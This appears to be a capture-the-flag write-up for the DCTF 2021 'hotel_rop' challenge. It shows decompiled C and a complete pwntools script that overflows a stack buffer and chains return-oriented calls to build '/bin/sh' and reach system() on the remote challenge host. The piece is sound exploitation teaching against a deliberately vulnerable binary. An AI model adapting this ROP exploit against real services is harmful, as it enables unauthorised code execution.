Tags: python3 ropchain pwn 

Rating:

Preface
-------

We got a binary file with simple input and some output related to hotel checkIn.

Overview
--------

Based on the name of the challenge, we can be certain, that some sort of rop is needed.

Loading the binary into *ghidra* we can see our function ```vuln```.

```C
void vuln(void)
{
char local_28 [28];
int local_c;

puts("You come here often?");
fgets(local_28,0x100,stdin);
if (local_c == 0) {
puts("Oh! You are already a regular visitor!");
}
else {
puts("I think you should come here more often.");
}
return;
}
```

Based on these inputs, we know where we can overflow.
Looking at the functions with *radare2* and ```afl```, we find the function ```california, silicon_valley and loss```.

The name ```loss``` seems to be a reference to the normal ret2win function.
Because in this function we got our system call.

```C
void loss(int param_1,int param_2)
{
if (param_2 + param_1 == -0x21523f22) {
puts("Dis is da wae to be one of our finest guests!");
if (param_1 == 0x1337c0de) {
puts("Now you can replace our manager!");
system((char *)&win_land);
exit(0);
}
}
return;
}
```

For this to work we need ```win_land``` to have the correct content.

For this we have the function ```california```
```C
void california(void)
{
puts("Welcome to Hotel California");
puts("You can sign out anytime you want, but you can never leave");
*(undefined *)((long)&win_land + (long)len) = 0x2f;
len = len + 1;
*(undefined *)((long)&win_land + (long)len) = 0x62;
len = len + 1;
*(undefined *)((long)&win_land + (long)len) = 0x69;
len = len + 1;
*(undefined *)((long)&win_land + (long)len) = 0x6e;
len = len + 1;
return;
}
```

and the function ```silicon_valley```
```C
void silicon_valley(void)
{
puts("You want to work for Google?");
*(undefined *)((long)&win_land + (long)len) = 0x2f;
len = len + 1;
*(undefined *)((long)&win_land + (long)len) = 0x73;
len = len + 1;
*(undefined *)((long)&win_land + (long)len) = 0x68;
len = len + 1;
*(undefined *)((long)&win_land + (long)len) = 0;
len = len + 1;
return;
}
```

So my final rop chain would need to be ```calfornia``` -> ```silicon_valley``` -> ```loss```.
Looking at the function ```loss``` I first thought I need to set the correct parameters.
But because I was to lazy for this I just calculated the offset of the puts relative to the base and add it.
This way I don't need to worry about any parameters and get to system.

So my finale exploit code was:

```Python
#!/usr/bin/env python3
from pwn import *

context.arch = 'amd64'
context.log_level = "INFO"

vulnerable = './hotel_rop'
elf = ELF(vulnerable)

#p = elf.process()
p = remote("dctf1-chall-hotel-rop.westeurope.azurecontainer.io", 7480)

p.readuntil('Welcome to Hotel ROP, on main street ')
main_address = int(p.readline().strip(), 16)
print("main at",hex(main_address))

main = elf.symbols['main']
california = elf.symbols['california']
silicon_valley = elf.symbols['silicon_valley']
loss = elf.symbols['loss']

rop = ROP(elf)
rop.call(main_address+(california-main))
rop.call(main_address+(silicon_valley-main))
rop.call(main_address+(loss-main)+0x32) # Skip all the checks and go to puts and then system

p.readuntil('You come here often?')
p.sendline(b'\x41'*40+bytes(rop))
p.readuntil('I think you should come here more often.')
p.read( 2048, timeout=1 )
p.read( 2048, timeout=1 ) # cleanup output
p.interactive()
```

In the shell I only needed to print the content of ```flag.txt```.

The flag was:

```dctf{ch41n_0f_h0t3ls}```

Original writeup (https://w0y.at/writeup/2021/05/17/dctf-2021-hotel-rop.html).